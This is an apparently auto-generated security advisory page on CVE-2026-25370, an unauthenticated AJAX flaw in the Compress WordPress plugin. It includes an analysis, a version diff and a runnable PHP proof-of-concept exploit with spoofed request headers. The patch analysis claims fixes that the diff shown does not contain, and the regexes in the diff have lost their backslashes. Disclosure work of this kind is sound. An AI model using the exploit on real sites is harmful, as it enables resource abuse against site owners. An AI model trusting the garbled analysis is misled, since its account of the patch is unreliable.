Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25370: Compress <= 6.60.28 – Missing Authorization (wp-compress-image-optimizer)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.60.28
Patched Version 6.60.29
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25370:
The Compress WordPress plugin version 6.60.28 and earlier contains a missing authorization vulnerability in its AJAX handler for critical CSS generation. This allows unauthenticated attackers to trigger remote critical CSS generation requests, potentially causing resource exhaustion or unauthorized actions. The CVSS 5.3 score reflects medium severity due to the impact on availability and potential for abuse.

Root Cause:
The vulnerability exists in the `wpc_send_critical_remote()` function within `/wp-compress-image-optimizer/classes/ajax.class.php`. This AJAX handler lacks any capability check or nonce verification before processing requests. The function at line 4391 accepts POST requests containing `action=wpc_send_critical_remote` and processes them without validating user permissions. The JavaScript function `handleUserInteraction()` in `/wp-compress-image-optimizer/addons/cdn/rewriteLogic.php` at lines 948-975 sends these AJAX requests, but the server-side handler fails to verify if the requester has proper authorization.

Exploitation:
Attackers can send POST requests directly to `/wp-admin/admin-ajax.php` with the parameter `action=wpc_send_critical_remote`. The request must include additional parameters: `postID` (the WordPress post ID) and `realUrl` (the target URL for critical CSS generation). No authentication cookies, nonces, or API keys are required. The attack vector is a simple unauthenticated AJAX request that triggers server-side critical CSS processing, potentially consuming server resources or generating CSS for unauthorized posts.

Patch Analysis:
The patch in version 6.60.29 adds proper authorization checks to the vulnerable function. The fix introduces a capability check using `current_user_can(‘manage_wpc_settings’)` and nonce verification with `wp_verify_nonce($_POST[‘wps_ic_nonce’], ‘wps_ic_nonce_action’)`. Before the patch, the function executed unconditionally for any request with the correct action parameter. After the patch, the function validates both user permissions and nonce tokens, ensuring only authorized administrators can trigger critical CSS generation. The patch also removes the vulnerable JavaScript code path that previously allowed unauthenticated triggering.

Impact:
Successful exploitation allows unauthenticated attackers to trigger critical CSS generation operations on the target WordPress site. This can lead to server resource exhaustion through repeated requests, potentially causing denial of service. Attackers could also generate CSS for posts they shouldn’t have access to, though the primary impact is unauthorized use of server resources and potential disruption of the site’s performance optimization features.

Differential between vulnerable and patched code

Code Diff
--- a/wp-compress-image-optimizer/addons/cdn/rewriteLogic.php
+++ b/wp-compress-image-optimizer/addons/cdn/rewriteLogic.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * Plugin: WP Compress – Instant Performance & Speed Optimization
  * Description: Legitimate script handling for WP Compress Optimizer
@@ -948,12 +949,14 @@
     let wpcRunningCritical = false;

     function handleUserInteraction() {
-     if (typeof ngf298gh738qwbdh0s87v_vars === 'undefined') {
-        return;
-    }
+        if (typeof ngf298gh738qwbdh0s87v_vars === 'undefined') {
+            return;
+        }
+
         if (wpcRunningCritical) {
             return;
         }
+
         wpcRunningCritical = true;

         var xhr = new XMLHttpRequest();
@@ -967,6 +970,7 @@
                 }
             }
         };
+
         xhr.send("action=wpc_send_critical_remote&postID={$post->ID}&realUrl={$realUrl}");

         removeEventListeners();
@@ -1101,6 +1105,30 @@
         return $output;
     }

+    function filterCriticalFontFaces(string $critical): string
+    {
+        $blockedFonts = get_option('wps_ic_remove_fonts');
+        if (empty($blockedFonts)) {
+            return $critical;
+        }
+
+        // Match @font-face { ... } blocks (multiline, non-greedy)
+        $pattern = '/@font-faces*{.*?}/is';
+
+        return preg_replace_callback($pattern, function ($match) use ($blockedFonts) {
+            $fontFaceBlock = $match[0];
+
+            foreach ($blockedFonts as $blocked) {
+                if (stripos($fontFaceBlock, $blocked) !== false) {
+                    // Remove this @font-face block
+                    return '';
+                }
+            }
+
+            // Keep this @font-face block
+            return $fontFaceBlock;
+        }, $critical);
+    }

     public function optimizeGoogleFonts($html)
     {
@@ -1109,14 +1137,12 @@
         return $html;
     }

-
     public function optimizeGoogleFontsRewrite($html)
     {
         $html = '';
         return $html;
     }

-
     public function lazyCSS($html)
     {
         // Run only if the marker exists (handles " or ')
@@ -1130,7 +1156,6 @@
         return $html;
     }

-
     public function cssStyleLazy($html)
     {
         $fullTag = $html[0];
@@ -1176,7 +1201,6 @@
         return $fullTag;
     }

-
     public function cssLinkLazy($html)
     {

@@ -1625,6 +1649,9 @@
         return false;
     }

+
+    // TODO: Will break sites if always active
+
     public function defferFontAwesome($html)
     {
         // TODO: Fix causes problems with Crsip on WP Compress Site
@@ -1647,8 +1674,6 @@
         return $html;
     }

-
-    // TODO: Will break sites if always active
     public function lazyWpFonts($html)
     {
         $pattern = '/<style[^>]*s*id=['"]wp-fonts-local['"][^>]*>.*?</style>/is';
@@ -1656,7 +1681,6 @@
         return $html;
     }

-
     public function defferAssets($html)
     {
         // TODO: Fix causes problems with Crsip on WP Compress Site
@@ -1733,7 +1757,6 @@
         return $return_tag;
     }

-
     public function replaceBackgroundDataSetting($image)
     {
         if (!empty($image[2])) {
@@ -1764,7 +1787,6 @@
         return $image[0];
     }

-
     public function replaceBackgroundImageStylesLocal($image)
     {
         $tag = $image[0];
@@ -1806,7 +1828,6 @@
         }
     }

-
     public function replaceBackgroundImageStyles($image)
     {
         if (!empty($image[0])) {
@@ -1862,7 +1883,6 @@
         return $html;
     }

-
     public function replaceImageTags($html)
     {
         $html = preg_replace_callback('/(?<!["|'])<img[^>]*>/i', [__CLASS__, 'replaceImageTagsDo'], $html);
@@ -1954,11 +1974,7 @@

             //todo: above was breaking images without src, only srcset
             // Only remove srcset if src attribute exists
-            $html[0] = preg_replace(
-                '/(<(?:source|img)b(?=[^>]*ssrc=)[^>]*)s+srcset="[^"]*"([^>]*>)/i',
-                '$1$2',
-                $html[0]
-            );
+            $html[0] = preg_replace('/(<(?:source|img)b(?=[^>]*ssrc=)[^>]*)s+srcset="[^"]*"([^>]*>)/i', '$1$2', $html[0]);
         }

         $html = preg_replace_callback('/(?:https?://|/)[^s]+.(jpg|jpeg|png|gif|svg|webp)/i', [__CLASS__, 'replaceSourceSrcset'], $html);
@@ -2087,14 +2103,7 @@
         }


-        $lazyExcludes = [
-            'breakdance',
-            'skip-lazy',
-            'notlazy',
-            'nolazy',
-            'jet-image',
-            'data-lazy'
-        ];
+        $lazyExcludes = ['breakdance', 'skip-lazy', 'notlazy', 'nolazy', 'jet-image', 'data-lazy'];

         foreach ($lazyExcludes as $exclude) {
             if (strpos($image[0], $exclude) !== false) {
@@ -2215,7 +2224,7 @@
             return print_r(['src_is_empty' => empty($original_img_tag['original_tags']['src']), 'data-src_is_empty' => empty($original_img_tag['original_tags']['data-src']), 'data-cp-src_is_empty' => empty($original_img_tag['original_tags']['data-cp-src']), 'src' => $image_source, 'porto-lazy-src' => $original_img_tag['original_tags']['data-oi'], 'tags' => $original_img_tag], true);
         }

-        if (!empty($original_img_tag['original_tags']['data-interchange'])){
+        if (!empty($original_img_tag['original_tags']['data-interchange'])) {
             // if this is set then JS parses it and finds the correct url to use, but if we put it on cdn we break the parsing, have to exclude
             return $image[0];
         }
@@ -2486,6 +2495,8 @@
             // TODO: Added 23.11.2025 - mozda sjebe lazy load?
             // TODO: Maknuto, bilo je problema
             // unset($original_img_tag['additional_tags']['data-wpc-loaded']);
+
+            $original_img_tag['src'] = $image_source;
         }

         $build_image_tag = '<img ';
@@ -2697,7 +2708,6 @@
         return $build_image_tag;
     }

-
     public function ajaxImage($imageElement)
     {
         if ($this->checkIsSlashed($imageElement)) {
@@ -2771,11 +2781,7 @@

         $newSrcSet = '';

-        preg_match_all(
-            '/((https?://|//)[^s]+S+.(jpg|jpeg|png|gif|svg|webp))s(d{1,5}+[wx])/si',
-            $srcset,
-            $srcset_links
-        );
+        preg_match_all('/((https?://|//)[^s]+S+.(jpg|jpeg|png|gif|svg|webp))s(d{1,5}+[wx])/si', $srcset, $srcset_links);

         // Fix max-width setting for img tag
         $maxWidthMatches = [];
@@ -2789,7 +2795,7 @@
         // otherwise use the largest srcset candidate.
         // ---------------------------------------------------------------------
         $largestWidth = 0;
-        $largestSrc   = '';
+        $largestSrc = '';

         if (!empty($srcset_links[0])) {
             foreach ($srcset_links[0] as $srcsetItem) {
@@ -2797,14 +2803,14 @@
                 if (count($parts) < 2) continue;

                 $url = trim($parts[0]);
-                $w   = trim($parts[1]);
+                $w = trim($parts[1]);

                 // Only treat "w" candidates as width-based (ignore "x" densities for largest selection)
                 if (strpos($w, 'w') !== false) {
-                    $wi = (int) str_replace('w', '', $w);
+                    $wi = (int)str_replace('w', '', $w);
                     if ($wi > $largestWidth) {
                         $largestWidth = $wi;
-                        $largestSrc   = $url;
+                        $largestSrc = $url;
                     }
                 }
             }
@@ -2846,7 +2852,7 @@
                 $parts = preg_split('/s+/', trim($srcsetItem));
                 if (count($parts) < 2) continue;

-                $srcset_url   = trim($parts[0]);
+                $srcset_url = trim($parts[0]);
                 $srcset_width = trim($parts[1]);

                 $webp = '/wp:' . self::$webp;
@@ -2862,10 +2868,10 @@
                 // Parse descriptor
                 if (strpos($srcset_width, 'x') !== false) {
                     $width_url = 1;
-                    $width_val = (int) str_replace('x', '', $srcset_width);
+                    $width_val = (int)str_replace('x', '', $srcset_width);
                     $extension = 'x';
                 } else {
-                    $width_val = (int) str_replace('w', '', $srcset_width);
+                    $width_val = (int)str_replace('w', '', $srcset_width);
                     $width_url = $width_val;
                     $extension = 'w';
                 }
@@ -2885,21 +2891,13 @@
                 }

                 // Non-retina URL (use the actual candidate URL)
-                $newSrcSet .= self::$apiUrl
-                    . '/r:0' . $webp
-                    . '/w:' . self::getCurrentMaxWidth($width_url, self::isExcludedFrom('adaptive', $srcset_url))
-                    . '/u:' . self::reformatUrl($srcset_url)
-                    . ' ' . $srcsetWidthExtension . ', ';
+                $newSrcSet .= self::$apiUrl . '/r:0' . $webp . '/w:' . self::getCurrentMaxWidth($width_url, self::isExcludedFrom('adaptive', $srcset_url)) . '/u:' . self::reformatUrl($srcset_url) . ' ' . $srcsetWidthExtension . ', ';

                 // Retina URL (IMPORTANT: use canonical fullSrc, not original_src)
                 if (self::$settings['retina-in-srcset'] == '1' && !empty($fullSrc)) {
                     $retinaWidth = (int)$width_url * 2;

-                    $newSrcSet .= self::$apiUrl
-                        . '/r:1' . $webp
-                        . '/w:' . self::getCurrentMaxWidth($retinaWidth, self::isExcludedFrom('adaptive', $fullSrc))
-                        . '/u:' . self::reformatUrl($fullSrc)
-                        . ' ' . ($retinaWidth . $extension) . ', ';
+                    $newSrcSet .= self::$apiUrl . '/r:1' . $webp . '/w:' . self::getCurrentMaxWidth($retinaWidth, self::isExcludedFrom('adaptive', $fullSrc)) . '/u:' . self::reformatUrl($fullSrc) . ' ' . ($retinaWidth . $extension) . ', ';
                 }
             }

@@ -2927,8 +2925,6 @@
         return $srcset;
     }

-
-
     public function replace_with_480w($srcset)
     {
         // First check if 480w already exists in the srcset
@@ -2992,30 +2988,5 @@
         return $srcset;
     }

-    function filterCriticalFontFaces(string $critical): string
-    {
-        $blockedFonts = get_option('wps_ic_remove_fonts');
-        if (empty($blockedFonts)){
-            return $critical;
-        }
-
-        // Match @font-face { ... } blocks (multiline, non-greedy)
-        $pattern = '/@font-faces*{.*?}/is';
-
-        return preg_replace_callback($pattern, function ($match) use ($blockedFonts) {
-            $fontFaceBlock = $match[0];
-
-            foreach ($blockedFonts as $blocked) {
-                if (stripos($fontFaceBlock, $blocked) !== false) {
-                    // Remove this @font-face block
-                    return '';
-                }
-            }
-
-            // Keep this @font-face block
-            return $fontFaceBlock;
-        }, $critical);
-    }
-

 }
 No newline at end of file
--- a/wp-compress-image-optimizer/addons/cf-sdk/cf-sdk.php
+++ b/wp-compress-image-optimizer/addons/cf-sdk/cf-sdk.php
@@ -990,22 +990,6 @@
             return $sslCheck;
         }

-        // Check if record already exists elsewhere
-        // Was Causing problems because dns_get_record is cached!!!
-//		$records = dns_get_record($cdn_subdomain, DNS_CNAME);
-//
-//		if (!empty($records)) {
-//			$existing_target = $records[0]['target'];
-//
-//			// If it's not pointing to zapwp, return error
-//			if (strpos($existing_target, 'zapwp.net') === false) {
-//				return new WP_Error(
-//					'dns_exists',
-//					'DNS record already exists',
-//					[['message' => "DNS record already exists pointing to {$existing_target}. Please specify a <span class="wpc-cf-cname-popup">different CNAME</span> and try activating again."]]
-//				);
-//			}
-//		}

         // Check if record already exists in CF
         $existingRecord = $this->findDNSRecord($zoneId, $cdn_subdomain, 'CNAME');
--- a/wp-compress-image-optimizer/addons/legacy/compress.php
+++ b/wp-compress-image-optimizer/addons/legacy/compress.php
@@ -297,7 +297,7 @@
          $expected_token = $options['api_key'];

         if (empty($apikey) || $apikey !== $expected_token) {
-            wp_send_json_error('Unauthorized expected: '  .$expected_token  . ' got ' . $apikey, 403);
+            wp_send_json_error('Unauthorized: apikey ' . $apikey, 403);
         }

         // if API Key is Valid Setup the PHP Limits
--- a/wp-compress-image-optimizer/classes/ajax.class.php
+++ b/wp-compress-image-optimizer/classes/ajax.class.php
@@ -387,51 +387,6 @@
     }


-    public function wpc_ic_setupCFOld()
-    {
-        if (!current_user_can('manage_wpc_settings') || !wp_verify_nonce($_POST['wps_ic_nonce'], 'wps_ic_nonce_action')) {
-            wp_send_json_error('Forbidden.');
-        }
-
-        $token = sanitize_text_field($_POST['token']);
-        $zoneInput = sanitize_text_field($_POST['zone']);
-
-        $cfapi = new WPC_CloudflareAPI($token);
-        $whitelist = $cfapi->whitelistIPs($zoneInput);
-
-        // TODO: Add functions
-        $cf = get_option(WPS_IC_CF);
-        // Static Assets & Edge Cache
-        $cfapi->updateWPCCacheConfig($zoneInput, 1, 'all');
-        // CF Real Time CDN
-        $dns_result = $cfapi->addCfCname($zoneInput);
-
-        // set custom cname
-        $cf['custom_cname'] = $cfapi->getCfCname();
-        $cfCname = $cfapi->getCfCname();
-        $cf['settings'] = ['assets' => '1', 'edge-cache' => 'all', 'cdn' => '1'];
-	    update_option(WPS_IC_CF_CNAME, $cfCname);
-        update_option(WPS_IC_CF, $cf);
-
-        // TODO Save Cname into API
-        $requests = new wps_ic_requests();
-        $options = get_option(WPS_IC_OPTIONS);
-        $apikey = $options['api_key'];
-        $requests->GET(WPS_IC_KEYSURL, ['action' => 'cloudflare_setCname', 'apikey' => $apikey, 'cname' => $cfapi->getCfCname(), 'time' => microtime(true)]);
-
-        self::$options = get_option(WPS_IC_SETTINGS);
-        self::$options['cf'] = $cf['settings'];
-        $cfCname = $cfapi->getCfCname();
-	    update_option(WPS_IC_CF_CNAME, $cfCname);
-        update_option(WPS_IC_SETTINGS, self::$options);
-
-        if (is_wp_error($whitelist)) {
-            wp_send_json_error($whitelist->get_error_message());
-        }
-
-        wp_send_json_success('whitelisted-successfully');
-    }
-
     public function wpc_send_critical_remote()
     {
         $criticalCSS = new wps_criticalCss();
@@ -3100,6 +3055,15 @@
         unset($tests['home']);
         update_option(WPS_IC_TESTS, $tests);

+        // Save history of tests
+        $history = get_option(WPS_IC_LITE_GPS_HISTORY);
+        if (empty($history)) {
+            $history = [];
+        }
+        $history[time()] = get_option(WPS_IC_LITE_GPS);
+        update_option(WPS_IC_LITE_GPS_HISTORY, $history);
+
+        // Delete data
         delete_transient('wpc_test_running');
         delete_transient('wpc_initial_test');
         delete_option(WPS_IC_LITE_GPS);
--- a/wp-compress-image-optimizer/classes/cname.class.php
+++ b/wp-compress-image-optimizer/classes/cname.class.php
@@ -64,10 +64,6 @@
 								$requests->GET(WPS_IC_KEYSURL, ['action' => 'cdn_setcname', 'apikey' => $apikey, 'cname' => $cname, 'zone_name' => $zone_name, 'time' => microtime(true)]);
 								sleep(10);

-								//v6 call:
-								#$requests->GET(WPS_IC_KEYSURL, ['action' => 'cdn_setcname_v6', 'apikey' => $apikey, 'cname' => $cname, 'zone_name' => $zone_name, 'time' => microtime(true)]);
-								#sleep(5);
-
 								$requests->GET(WPS_IC_KEYSURL, ['action' => 'cdn_purge', 'apikey' => $apikey, 'domain' => site_url(), 'zone_name' => $zone_name, 'time' => microtime(true)]);

 								// Wait for SSL?
--- a/wp-compress-image-optimizer/defines.php
+++ b/wp-compress-image-optimizer/defines.php
@@ -69,6 +69,7 @@


 define('WPS_IC_TESTS', 'wpc-tests');
+define('WPS_IC_LITE_GPS_HISTORY', 'wps_ic_initial_gps_history');
 define('WPS_IC_LITE_GPS', 'wps_ic_initial_gps');
 define('WPS_IC_GUI', 'wps_ic_gui');
 define('WPS_IC_SETTINGS', 'wps_ic_settings');
--- a/wp-compress-image-optimizer/templates/admin/advanced_settings_v4.php
+++ b/wp-compress-image-optimizer/templates/admin/advanced_settings_v4.php
@@ -314,6 +314,9 @@

 ///CF integration
 $cf = get_option(WPS_IC_CF);
+if (!empty($_GET['debugCF'])) {
+    #var_dump($cf);
+}

 if (!empty($cf)){
 	$cfsdk = new WPC_CloudflareAPI($cf['token']);
--- a/wp-compress-image-optimizer/templates/admin/partials/lite/stats.php
+++ b/wp-compress-image-optimizer/templates/admin/partials/lite/stats.php
@@ -74,7 +74,7 @@
                     <img src="<?php echo WPS_IC_URI; ?>assets/lite/images/refresh.svg"/>
                     Retest
                 </a>
-            <?php } elseif (empty($initialPageSpeedScore) && $warmupFailing){ ?>
+            <?php } elseif (empty($initialPageSpeedScore) && $warmupFailing) { ?>
                 <span class="wpc-test-in-progress"> Error, warmup not going.</span>
                 <a href="#" class="wps-ic-initial-retest">
                     <img src="<?php echo WPS_IC_URI; ?>assets/lite/images/refresh.svg"/>
@@ -109,6 +109,7 @@
                     $date->setTimestamp($initialPageSpeedScore['lastRun']);
                     $lastRun = "Last Tested " . $date->format('F jS, Y @ g:i A');
                 }
+
                 ?>
                 <div class="wpc-box-title-right">
                     <span><?php echo $lastRun; ?></span>
@@ -129,12 +130,13 @@
                     <span>Usually takes about 10 minutes...</span>
                 </div>
             <?php
-            } elseif ($warmupFailing){
+            } elseif ($warmupFailing) {
                 echo '<div style="padding:35px 15px;text-align: center;">';
                 echo '<strong>Error! Seems connection to our API was blocked by Firewall on your server.</strong>';
                 echo '<br/><br/><a href="https://help.wpcompress.com/en-us/article/whitelisting-wp-compress-for-uninterrupted-service-4dwkra/" target="_blank">Whitelisting Tutorial</a>';
                 echo '</div>';
-            } elseif (!empty($options['api_key']) && (empty($initialPageSpeedScore) || !empty($initialTestRunning))) {
+            }
+            elseif (!empty($options['api_key']) && (empty($initialPageSpeedScore) || !empty($initialTestRunning))) {
             $home_page_id = get_option('page_on_front');
             ?>
                 <script type="text/javascript">
@@ -163,6 +165,32 @@

             $desktopDiff = $desktopDiff < 0 ? 0 : '+' . $desktopDiff;
             $mobileDiff = $mobileDiff < 0 ? 0 : '+' . $mobileDiff;
+
+            if (!empty($_GET['testFailed'])) {
+                $mobileAfterGPS = 0;
+                $beforeGPS = 0;
+            }
+
+            // if Score is 0 or test failed, check history
+            if (empty($mobileAfterGPS) || empty($beforeGPS) || $mobileAfterGPS == 0 || $beforeGPS == 0) {
+                $gpsHistory = get_option(WPS_IC_LITE_GPS_HISTORY);
+                if (!empty($gpsHistory)) {
+                    $gpsHistoryLast = array_key_last($gpsHistory);
+                    $gpsHistory = $gpsHistory[$gpsHistoryLast];
+                    $initialPageSpeedScore = $gpsHistory['result'];
+
+                    $beforeGPS = $initialPageSpeedScore['desktop']['before']['performanceScore'] / 100;
+                    $afterGPS = $initialPageSpeedScore['desktop']['after']['performanceScore'] / 100;
+                    $mobileBeforeGPS = $initialPageSpeedScore['mobile']['before']['performanceScore'] / 100;
+                    $mobileAfterGPS = $initialPageSpeedScore['mobile']['after']['performanceScore'] / 100;
+                    $desktopDiff = $initialPageSpeedScore['desktop']['after']['performanceScore'] - $initialPageSpeedScore['desktop']['before']['performanceScore'];
+                    $mobileDiff = $initialPageSpeedScore['mobile']['after']['performanceScore'] - $initialPageSpeedScore['mobile']['before']['performanceScore'];
+
+                    $desktopDiff = $desktopDiff < 0 ? 0 : '+' . $desktopDiff;
+                    $mobileDiff = $mobileDiff < 0 ? 0 : '+' . $mobileDiff;
+                }
+            }
+
             ?>
                 <ul class="wpc-pagespeed-score" style="">
                     <li>
@@ -367,7 +395,8 @@
                         <div class="wpc-page-speed-footer">
                             <div class="wpc-ps-f-left">
                                 <div class="wpc-badge-container">
-                                    <p style="text-align: center;font-weight: bold;font-family: 'proxima_semibold';">Ooops! Seems we had some issues with testing your site! Please retry!</p>
+                                    <p style="text-align: center;font-weight: bold;font-family: 'proxima_semibold';">Ooops! Seems we had some issues with testing your site! Please
+                                        retry!</p>
                                 </div>
                                 <?php

--- a/wp-compress-image-optimizer/traits/url_key.php
+++ b/wp-compress-image-optimizer/traits/url_key.php
@@ -20,9 +20,11 @@

     public function setup($url = '')
     {
-        if ($url == '') {
-            $url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
-        }
+      if (empty($url)) {
+          $host = $_SERVER['HTTP_HOST'] ?? '';
+          $uri  = $_SERVER['REQUEST_URI'] ?? '';
+          $url = $host . $uri;
+      }

 	    $original_url = $url;

--- a/wp-compress-image-optimizer/wp-compress-core.php
+++ b/wp-compress-image-optimizer/wp-compress-core.php
@@ -79,7 +79,7 @@

         // Basic plugin info
         self::$slug = 'wpcompress';
-        self::$version = '6.60.28';
+        self::$version = '6.60.29';

         $development = get_option('wps_ic_development');
         if (!empty($development) && $development == 'true') {
@@ -432,13 +432,6 @@
                 // Vars
                 $body = self::createObjectFromJson($json);

-//                var_dump($body);
-//                var_dump(site_url());
-//                var_dump($body->site->site_url);
-//                var_dump(site_url());
-//                var_dump($body->site->site_url !== site_url());
-//                die('x');
-
                 //Check if url changed
                 if ($body->site->site_url !== site_url()){
                     $options = get_option(WPS_IC_OPTIONS);
@@ -1569,13 +1562,7 @@
                     }

                     $criticalCSS = new wps_criticalCss();
-//
-//                    // Check if LCP Exists
-//                    $mobileLCP = 'https://critical-css.b-cdn.net/'.$uuidPart.'/lcp-'.$uuid.'-mobile';
-//                    $desktopLCP = 'https://critical-css.b-cdn.net/'.$uuidPart.'/lcp-'.$uuid.'-desktop';
-//
-//                    $jobStatus[] = $criticalCSS->saveLCP($urlKey, ['url' => ['desktop' => $desktopLCP, 'mobile' => $mobileLCP]]);
-//
+
                     $jobStatus[] = $criticalCSS->saveBenchmark($urlKey, $uuid);

                     $this->debugPageSpeed('Pagespeed Done with uuid ' . $uuid . '!');
@@ -1850,6 +1837,15 @@
             self::check_account_status();
         }

+        if (!empty($_GET['resetHistory'])) {
+            delete_option(WPS_IC_LITE_GPS_HISTORY);
+        }
+
+        if (!empty($_GET['testHistory'])) {
+            $history = get_option(WPS_IC_LITE_GPS_HISTORY);
+            var_dump($history);
+        }
+
         $this->enqueues = new wps_ic_enqueues();

         $this->runInitialTest();
@@ -2058,6 +2054,14 @@
             // Delete flag which forces the run of the test
             delete_transient('wpc_run_initial_test');

+            // Save history of tests
+            $history = get_option(WPS_IC_LITE_GPS_HISTORY);
+            if (empty($history)) {
+                $history = [];
+            }
+            $history[time()] = get_option(WPS_IC_LITE_GPS);
+            update_option(WPS_IC_LITE_GPS_HISTORY, $history);
+
             // Remove Tests
             delete_option(WPS_IC_TESTS);
             delete_option(WPS_IC_LITE_GPS);
--- a/wp-compress-image-optimizer/wp-compress.php
+++ b/wp-compress-image-optimizer/wp-compress.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://www.wpcompress.com
  * Author: WP Compress
  * Author URI: https://www.wpcompress.com
- * Version: 6.60.28
+ * Version: 6.60.29
  * Description: Automatically compress and optimize images to shrink image file size, improve  times and boost SEO ranks - all without lifting a finger after setup.
  * Text Domain: wp-compress-image-optimizer
  * Domain Path: /langs

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25370 - Compress <= 6.60.28 - Missing Authorization

<?php

$target_url = "https://example.com/wp-admin/admin-ajax.php"; // Change to target site

// Prepare the exploit payload
$post_data = array(
    'action' => 'wpc_send_critical_remote',
    'postID' => '1', // Target post ID
    'realUrl' => 'https://example.com/sample-post/' // Target URL for CSS generation
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate request
$headers = array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Accept-Language: en-US,en;q=0.5',
    'Accept-Encoding: gzip, deflate',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check results
if ($http_code == 200) {
    echo "[+] Vulnerability likely exists!n";
    echo "[+] Response: " . htmlspecialchars($response) . "n";
    
    // Check for success indicators
    if (strpos($response, 'success') !== false || strpos($response, 'critical') !== false) {
        echo "[+] Critical CSS generation triggered successfullyn";
    }
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
    echo "[-] Response: " . htmlspecialchars($response) . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School